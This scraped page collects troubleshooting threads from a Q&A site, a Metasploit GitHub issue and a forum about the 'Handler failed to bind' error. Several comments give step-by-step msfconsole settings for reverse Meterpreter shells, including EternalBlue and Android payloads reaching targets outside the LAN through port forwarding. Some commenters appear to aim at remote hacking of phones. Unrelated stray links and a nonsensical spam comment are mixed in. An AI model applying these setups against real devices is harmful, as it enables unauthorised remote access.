Handler failed to bind to настройка интерфейса kali linux

Содержание
  1. Meterpreter cannot bind to external address
  2. 1 Answer 1
  3. [-] Handler failed to bind to xxxxxx:4444(external ip adress) #6084
  4. Comments
  5. kofx commented Oct 13, 2015
  6. [*] Starting the payload handler.
  7. OJ commented Oct 13, 2015
  8. kofx commented Oct 13, 2015
  9. OJ commented Oct 13, 2015
  10. Corleanus commented Nov 18, 2017
  11. h00die commented Nov 18, 2017
  12. ghost commented May 18, 2018
  13. ghost commented May 18, 2018
  14. bcoles commented May 18, 2018
  15. 85Terminator commented Jul 1, 2018 •
  16. bcoles commented Jul 1, 2018
  17. 85Terminator commented Jul 1, 2018
  18. andresdev16 commented Jul 29, 2018
  19. DroneMaki commented Mar 7, 2019
  20. basem3214 commented May 5, 2019
  21. Ashwin2459B commented Jun 10, 2019
  22. bcoles commented Jun 10, 2019
  23. devopslinux commented Apr 1, 2020 •
  24. hichemkanon commented May 22, 2020
  25. sunnyrud commented Apr 28, 2021
  26. sunnyrud commented Apr 28, 2021
  27. Metasploit Error : Handler Failed to Bind
  28. Join the Next Reality AR Community
  29. Get the latest in AR — delivered straight to your inbox.
  30. Related
  31. Forum Thread : How to Fix Error Handler Failed to Bind 3 Replies 1 yr ago
  32. Forum Thread : Two Issues with Metasploit and External IP 2 Replies 3 yrs ago
  33. Hack Like a Pro : Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)
  34. Metasploit : EXPLOIT FAIL to BIND 0 Replies 4 yrs ago
  35. How To : Run an VNC Server on Win7
  36. How To : Use Meterpeter on OS X
  37. Hack Like a Pro : How to Exploit and Gain Remote Access to PCs Running Windows XP
  38. How To : Elevate a Netcat Shell to a Meterpreter Session for More Power & Control
  39. Forum Thread : MSF Handler Failed Bind to External Ip 3 Replies 4 yrs ago
  40. Metasploit : Handler Failed to Bind 3 Replies 1 yr ago
  41. Forum Thread : Metasploit Handler Won’t Bind 3 Replies 6 yrs ago
  42. Forum Thread : Am Having Problems Creating a Session on Meterpreter 0 Replies 1 yr ago
  43. Forum Thread : Hack Android Using Msfconsole and ./Ngrok Http 80 4 Replies 1 yr ago
  44. Reverse Connection Fails : Metasploit 12 Replies 4 yrs ago
  45. Forum Thread : Metasploit Can’t Listen 5 Replies 4 yrs ago
  46. Forum Thread : BeEF Integration with Metasploit 2 Replies 5 yrs ago
  47. Forum Thread : Handler Failed to Bind 9 Replies 5 yrs ago
  48. Forum Thread : Can’t Get Metasploit Session. 20 Replies 1 yr ago
  49. Forum Thread : Metasploit Stuck at «Starting the Payload Handler. » 12 Replies 1 yr ago
  50. Forum Thread : Tcp Reverse Listener [Meterpreter] Directly Close 5 Replies 3 yrs ago
  51. Metasploit Error : Could Not Bind to Myip:4444 1 Replies 4 yrs ago
  52. Forum Thread : Msfconsole Meterpreter Session Opened but Nothing Happened 3 Replies 3 yrs ago
  53. Meterpreter : Handler Failed to Bind 20 Replies 1 yr ago
  54. MetaSploit : When I Do ‘Use Multi/Handler’ It Is Different for Me Than for Others. 0 Replies 2 yrs ago
  55. Forum Thread : How to Attack Over WAN on Android Phone 2 Replies 2 yrs ago
  56. Forum Thread : Why I Am Getting Multi/Handler Instead of Handler Only in Metasploit Window? 0 Replies 3 yrs ago
  57. Forum Thread : Need Help with Android Hacking with Metasploit 12 Replies 2 yrs ago
  58. Forum Thread : Problem with Hacking Android Remotely by Metasploit 1 Replies 4 yrs ago
  59. Forum Thread : Failed to Bind to Port/IP 14 Replies 5 yrs ago
  60. Forum Thread : Why I Am Getting Multi/Handler Instead of Handler Only in Metasploit Window? 1 Replies 3 yrs ago
  61. Forum Thread : Metasploit Problem 4 Replies 3 yrs ago
  62. Forum Thread : Metasploit Problem 2 Replies 3 yrs ago
  63. Forum Thread : Metasploit reverse_tcp Handler Problem 44 Replies 3 mo ago
  64. Forum Thread : Metasploit Sending Stages to Random IP’s 7 Replies 6 yrs ago
  65. Forum Thread : How Would I Be Able to Use This Exploit in Metasploit? 2 Replies 4 yrs ago
  66. Forum Thread : Metasploit Failed Connect to the Database. 1 Replies 4 yrs ago
  67. Forum Thread : Powershell to Meterpreter 0 Replies 4 yrs ago
  68. Forum Thread : Payload Android Not Connect to Metasploit Listener Kali 2019 0 Replies 1 yr ago
  69. Forum Thread : What Is My Metasploit Problem?! 0 Replies 2 yrs ago
  70. Forum Thread : Metasploit RM Issues 1 Replies 5 yrs ago
  71. 39 Responses

Meterpreter cannot bind to external address

I have a problem with exploiting machine outside my LAN network. I tried answers from StackExchange but they didn’t work for me.

My setup of exploit: ms17_010_eternalblue

RHOST = target ip and RPORT = target port

I set the payload windows/meterpreter/reverse_tcp

LHOST = my PUBLIC ip and LPORT = my forwarded port on router.

I check the port and my external ip on canyouseeme.org and it shows that port is open.

When exploit starts it says:

On other sites it says that i must set payload lhost to external ip but then this error shows. Please provide command by command answer because I don’t have any ideas what to do. I know that handler must be set to my internal ip because it is listening for connections, but on the other side, the target must have my external ip to connect back to me.

1 Answer 1

You need the LHOST for the meterpreter to be your external IP and the LHOST for the handler to be the local IP. You can easily configure this when using multi_handler with the appropriate meterpreter payload (so that staging works).

Set the LHOST for multi_handler to be your external IP, run -j it in the background and then use whatever exploit you are using, setting the LHOST to your external IP and the correct meterpreter payload.

Setting the LHOST to the external IP will fail and instead, the handler will bind to 0.0.0.0.

Then run -j the exploit in the background and wait for the session to connect, then resume the session from the background.

( sessions -i sessionnumber where the session number comes from sessions -l )

Alternatively, you could use two consoles and not use background tasks.

These additional loopholes you have to jump through are the reason why pentesting should be done without a NAT in the way.

Читайте также:  Microsoft service pack windows server 2012

Источник

[-] Handler failed to bind to xxxxxx:4444(external ip adress) #6084

Comments

kofx commented Oct 13, 2015

hi i have an issue on multi/handler
the handler failed when i try to use an external ip.. it’s work on internal ..

[-] Handler failed to bind to 160.x.x.1x:4444
[*] Started reverse handler on 0.0.0.0:4444

[*] Starting the payload handler.

the payload was windows/meterpreter/reverse_tcp

The text was updated successfully, but these errors were encountered:

OJ commented Oct 13, 2015

This is not a bug, this is by design. If the public IP is not assigned to an interface on your machine, then it can’t bind to it. It falls back to 0.0.0.0 , which is «all interfaces».

kofx commented Oct 13, 2015

mm thank you OJ for the quick reply , yeah really i know it’s not a bug on metasploit but i didn’t find a solution , if you could help me or guide me to a source ..

OJ commented Oct 13, 2015

@kofx what do you need a solution to? There’s no problem here, it’s just how things work. A program can’t bind to an IP address that doesn’t exist on the machine it’s running on.

Sounds to me like your external IP is allocated to a modem/router/etc and you need to forward ports.

Corleanus commented Nov 18, 2017

I have the same problem, and although I have forwarded ports, and have been using metasploit in external network, after update I have the same problem.

h00die commented Nov 18, 2017

This is a 2yr old closed ticket. Start a new issue.
This is not a bug, that’s when you create an issue. The answer you seek is well documented. Try https://www.corelan.be/index.php/2014/01/04/metasploit-meterpreter-and-nat/ as it has your answer.
Don’t reply here, if you need HELP, go to IRC #metasploit

ghost commented May 18, 2018

I kind of follow u but not really can we just do it with visual design signage and SensorInteract symbols and tracebuild+qrassets frack eg with cubes and I can just see ur patterns and just use symbols plus embedded contracts with in multiple locations and organize a email data base and smedia order of thoughts 💭

ghost commented May 18, 2018

Previous symbol in post is a 📺 icon like Asian lanthem with my crypto partner bcuz when u r over ur head . p’s like applications where I use ur name and email address and my vice Vera’s. I made mistake at beginning 🤔 any contact is a good one but was right and wrong but it makes a perfect public address and I use non touched accountability. I am good with concepts and good with finding shortcuts Astro’s.com. Crypto is not the complete answer but it’s close u need me to have a hosting biz to put gis locations in with tags 🔬 with creative design 🤔 teams I have everyone of ur. I will start a private crypto fantasy league stock that runs with ur job and I integrate it into scarcitydigital leverage system that uses 3 sports design rules vision .
‘Mining data cleanly

  • research R paths that use every media outpost and browser to 🐈 FChain Anderson dm md

bcoles commented May 18, 2018

@tdoskocil What would you do if you were wandering the desert and found a distressed turtle lying on its back?

85Terminator commented Jul 1, 2018 •

i am using kali linux in vmware 9 X86 so what lhost i put in the payload , is it the one in the pc or in the vmware please reply fast

bcoles commented Jul 1, 2018

@85Terminator GitHub issue tracker is for reporting bugs. It would be best to ask on #metasploit on Freednode IRC.

That said, lhost will be the IP address of Kali in VMWare. However, if the target host cannot route traffic to the virtual machine then you will not get a session. You may or may not want to bridge the virtual machine. You may or may not want to port forward a port from your router to the virtual machine. It depends where on the planet the target system is located, and what network route it will use to route packets to Metasploit.

85Terminator commented Jul 1, 2018

andresdev16 commented Jul 29, 2018

This isn’t a error or bug, you can solve trying this:

set LHOST (public ip or private, you choice were attack)
set LPORT (port, in my case 8080)
set ReverseListeningBindAddress (ip private o public)

DroneMaki commented Mar 7, 2019

@OJ I know this is not bug, but I did using a payload 3 time after that this is not work when I use payload and hit exploit so
[-]Handler failed to bind to 192.168.XX.X:2323:- —
[*] Started reverse TCP handler on 0.0.0.0:2323

basem3214 commented May 5, 2019

i have the same issus plz someone fxied

Ashwin2459B commented Jun 10, 2019

hi i have an issue on multi/handler
the handler failed when i try to use an external ip.. it’s work on internal ..

[-] Handler failed to bind to 160.x.x.1x:4444
[*] Started reverse handler on 0.0.0.0:4444

[*] Starting the payload handler.
the payload was windows/meterpreter/reverse_tcp

help me to solve this please iam running kali linux in vm ware workstation

bcoles commented Jun 10, 2019

Presumably 160.x.x.1x is not a valid IP address for any of your network interfaces.

The options you’re looking for are ReverseListenerBindAddress and ReverseListenerBindPort .

Set LHOST and LPORT to your public IP and public port. Set ReverseListenerBindAddress and ReverseListenerBindPort to your local IP and local port.

If you don’t set ReverseListenerBindAddress , and it can’t bind to LHOST , it’ll fall back on 0.0.0.0 . Make sure everything is routing correctly, and make sure your payload can egress to your handler.

Читайте также:  Shutdown with timer linux

That’s all. Please take support to IRC or e-mail in the future. GitHub is primarily for code contributions, bug reports, and feature requests. Thanks!

devopslinux commented Apr 1, 2020 •

The solution for me it’s
apt install bind9
service bind9 start
netstat -ntlup

hichemkanon commented May 22, 2020

the reason of this error mostly coming from mistake writing the public ip adress in where you must write the private ip adress, that happened to me and i solved it follow the exemple bellow

firstlty check your port in router if you don’t have create one
name: kali -// server ip adress (your private ip of device «ifconfig») /// — tcp — //// PORT: 8080 or any port you choose .

if you want hack over router .

then when you create/bind payload using msfvenom or any other tool
1 — for exemple ; android/meterpreter/reverse_http
2 — set lhost «public ip — get it from here https://whatismyipaddress.com »
3 — set lport (the port that you opened in router)

and when you open the meterpreter write :

1— use exploit/multi/handler
2— set payload android/meterpreter/reverse_http
3— set lhost (((here you write your personal/private ip «get it from ifconfig»)
4— set lport (((here you write the port that you opened in router)))))
5— exploit

that is the correct way which will work correctly with you

sunnyrud commented Apr 28, 2021

@kofx what do you need a solution to? There’s no problem here, it’s just how things work. A program can’t bind to an IP address that doesn’t exist on the machine it’s running on.

Sounds to me like your external IP is allocated to a modem/router/etc and you need to forward ports.

sunnyrud commented Apr 28, 2021

the reason of this error mostly coming from mistake writing the public ip adress in where you must write the private ip adress, that happened to me and i solved it follow the exemple bellow

firstlty check your port in router if you don’t have create one
name: kali -// server ip adress (your private ip of device «ifconfig») /// — tcp — //// PORT: 8080 or any port you choose .

if you want hack over router .

then when you create/bind payload using msfvenom or any other tool
1 — for exemple ; android/meterpreter/reverse_http
2 — set lhost «public ip — get it from here https://whatismyipaddress.com »
3 — set lport (the port that you opened in router)

and when you open the meterpreter write :

1— use exploit/multi/handler
2— set payload android/meterpreter/reverse_http
3— set lhost (((here you write your personal/private ip «get it from ifconfig»)
4— set lport (((here you write the port that you opened in router)))))
5— exploit

that is the correct way which will work correctly with you

again same issue can you give your whatsapp num i can contact

Источник

Metasploit Error : Handler Failed to Bind

Whenever i try to set a multi handler this error occurs.
It Used to work for me but not working anymore
I thought that the port is still listening so i try to close it with Kill command but it didn’t work for me so try fuser command but both didn’t work for me please help what to do?

thanks in advance for helping

Join the Next Reality AR Community

Get the latest in AR — delivered straight to your inbox.

Forum Thread : How to Fix Error Handler Failed to Bind 3 Replies
1 yr ago

Forum Thread : Two Issues with Metasploit and External IP 2 Replies
3 yrs ago

Hack Like a Pro : Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)

Metasploit : EXPLOIT FAIL to BIND 0 Replies
4 yrs ago

How To : Run an VNC Server on Win7

How To : Use Meterpeter on OS X

Hack Like a Pro : How to Exploit and Gain Remote Access to PCs Running Windows XP

How To : Elevate a Netcat Shell to a Meterpreter Session for More Power & Control

Forum Thread : MSF Handler Failed Bind to External Ip 3 Replies
4 yrs ago

Metasploit : Handler Failed to Bind 3 Replies
1 yr ago

Forum Thread : Metasploit Handler Won’t Bind 3 Replies
6 yrs ago

Forum Thread : Am Having Problems Creating a Session on Meterpreter 0 Replies
1 yr ago

Forum Thread : Hack Android Using Msfconsole and ./Ngrok Http 80 4 Replies
1 yr ago

Reverse Connection Fails : Metasploit 12 Replies
4 yrs ago

Forum Thread : Metasploit Can’t Listen 5 Replies
4 yrs ago

Forum Thread : BeEF Integration with Metasploit 2 Replies
5 yrs ago

Forum Thread : Handler Failed to Bind 9 Replies
5 yrs ago

Forum Thread : Can’t Get Metasploit Session. 20 Replies
1 yr ago

Forum Thread : Metasploit Stuck at «Starting the Payload Handler. » 12 Replies
1 yr ago

Forum Thread : Tcp Reverse Listener [Meterpreter] Directly Close 5 Replies
3 yrs ago

Metasploit Error : Could Not Bind to Myip:4444 1 Replies
4 yrs ago

Forum Thread : Msfconsole Meterpreter Session Opened but Nothing Happened 3 Replies
3 yrs ago

Meterpreter : Handler Failed to Bind 20 Replies
1 yr ago

MetaSploit : When I Do ‘Use Multi/Handler’ It Is Different for Me Than for Others. 0 Replies
2 yrs ago

Forum Thread : How to Attack Over WAN on Android Phone 2 Replies
2 yrs ago

Forum Thread : Why I Am Getting Multi/Handler Instead of Handler Only in Metasploit Window? 0 Replies
3 yrs ago

Forum Thread : Need Help with Android Hacking with Metasploit 12 Replies
2 yrs ago

Forum Thread : Problem with Hacking Android Remotely by Metasploit 1 Replies
4 yrs ago

Forum Thread : Failed to Bind to Port/IP 14 Replies
5 yrs ago

Forum Thread : Why I Am Getting Multi/Handler Instead of Handler Only in Metasploit Window? 1 Replies
3 yrs ago

Forum Thread : Metasploit Problem 4 Replies
3 yrs ago

Forum Thread : Metasploit Problem 2 Replies
3 yrs ago

Forum Thread : Metasploit reverse_tcp Handler Problem 44 Replies
3 mo ago

Forum Thread : Metasploit Sending Stages to Random IP’s 7 Replies
6 yrs ago

Forum Thread : How Would I Be Able to Use This Exploit in Metasploit? 2 Replies
4 yrs ago

Forum Thread : Metasploit Failed Connect to the Database. 1 Replies
4 yrs ago

Forum Thread : Powershell to Meterpreter 0 Replies
4 yrs ago

Forum Thread : Payload Android Not Connect to Metasploit Listener Kali 2019 0 Replies
1 yr ago

Forum Thread : What Is My Metasploit Problem?! 0 Replies
2 yrs ago

Forum Thread : Metasploit RM Issues 1 Replies
5 yrs ago

39 Responses

Try doing this on a different network and see how the results vary. If you still have the issue, I’m sure you’ll find your answer on this forum in a matter of hours.

Читайте также:  Изменение расположения панели задач windows 10

Hope this comment helps you out —
-Cameron Glass

you can do it with your public ip but you must configure your router

How to exactly do that?

It happened to me too.. but I ignored the error and it still worked

Try another port (I use 8080)

It’s because you computer can’t contact your external ip (maybe because it redirects to the gateway) but if you port forwarded it then it should work, Same thing happens to me

Are you sure that is the correct IP address for your kali box? The handler seems to not be able to bind to that address. Is something else running on that address? When it then binds to 0.0.0.0 do you still get your meterpreter session?

can anyone please help me i have put all the ip at lhost my external my internal but it is not working.

Thanks Guys for the help, i don’t know what was the problem but it’s working now.

i got the same problem but i cant fix it please help :'(

I had the same problem and it all was because my LapTop ip had changed. I had portforwarded it with 192.168.1.100 but it had changed to 192.168.1.101. Then I changed the ip for the portforwarding again, and it worked.

Thanks, I had the same problem

I’m using metasploit, but getting error like this » Handler failed to bind to 123.34.45.45:4444″
How to resolve this?
Can you help me please .

Try scaning your own IP addres using #nmap that will show you all you open port

  • Handler failed to bind to 192.168.0.1:1900:- —

Started reverse TCP handler on 0.0.0.0:1900
* Starting the payload handler.

I tried all the ports, 4444, 8080, 8888 and many more..
same error each time.
Help Please

it might just mean it’s not vulnerable/exploitable. I get this error all the damn time.

  • Handler failed to bind to xxxxxx:8080(external ip adress) 🙁 what should i do please

I think you should check if your port is open.

use exploit/multi/handler
set payload to the 1 you want, make sure its, Reverse TCP
set LHOST ( Your External IP
set LPORT ( Port You Want To Use )
set ReverseListeningBindAddress ( Your Local Machine IP Address )
exploit -j -z

It still use’s you external IP, but it binds to your local IP
Also make sure, that you are connected to you MAIN router/modem
And also make sure that the port you want to use is PortForwarded in some way

no work bro . but thank you

Any help will be appriciated :

didnt work for me it giving me failed to bind any suggestions guys! thnx

As the others already said, check for the IP etc. If it all doesn’t work, switch the network driver off and on again to kill all bindings. If it still doesn’t work, reboot.

Try to use another port for multi/handler
I use 4444 or 8080

This happen if you don’t use your kali machine private IP address ,Please use private IP address when setting LHOST in msfconsole .

The private IP can be seen in connection properties.
Here is the Screen shot.

can anyone please help me i have put all the ip at lhost my external my internal but it is not working i have used all the ports every possible thing but i am not able to open the meterpreter session

If you’re using Metasploit on AWS you need to use the long DNS for lhost like -> ec2-30-54-. us-west. compute.amazonaws.com

Help me please . i want to resolve this..thanks

Same problem for me..help me how to solve this .

In your case the port you are using is already in use by another service so while creating the payload first check that the port you are using is free or not. To do so you have to write the command :-

lsof -t -i:Port Number
For example lsof -t -i:8080

If nothing shows up after running this command that means the port is free. If any number shows up then it means that port is currently being used by another service.

So you can use any other port which is free it will solve your problem.

handler failed
soo plz help me
how to solve.

i got the same problem but i cant fix it please help

Disconnect your router then connect with your hotspot,Restart the whole process ,Then if it happens again let me know

Go to this post I explained everything clearly :

thx. Real useful!

i’m using metasploit on termux app but this same broblem so plz help me

For me the problem was a misunderstanding, insteand of giving MY ip address (the PC who is generating the atack) I was entering the victim’s ip (my windows ip) . The ip is set in order to receive the informaitions on it, so you want yours to be. I hope I’ve helped someone else.

Источник

Оцените статью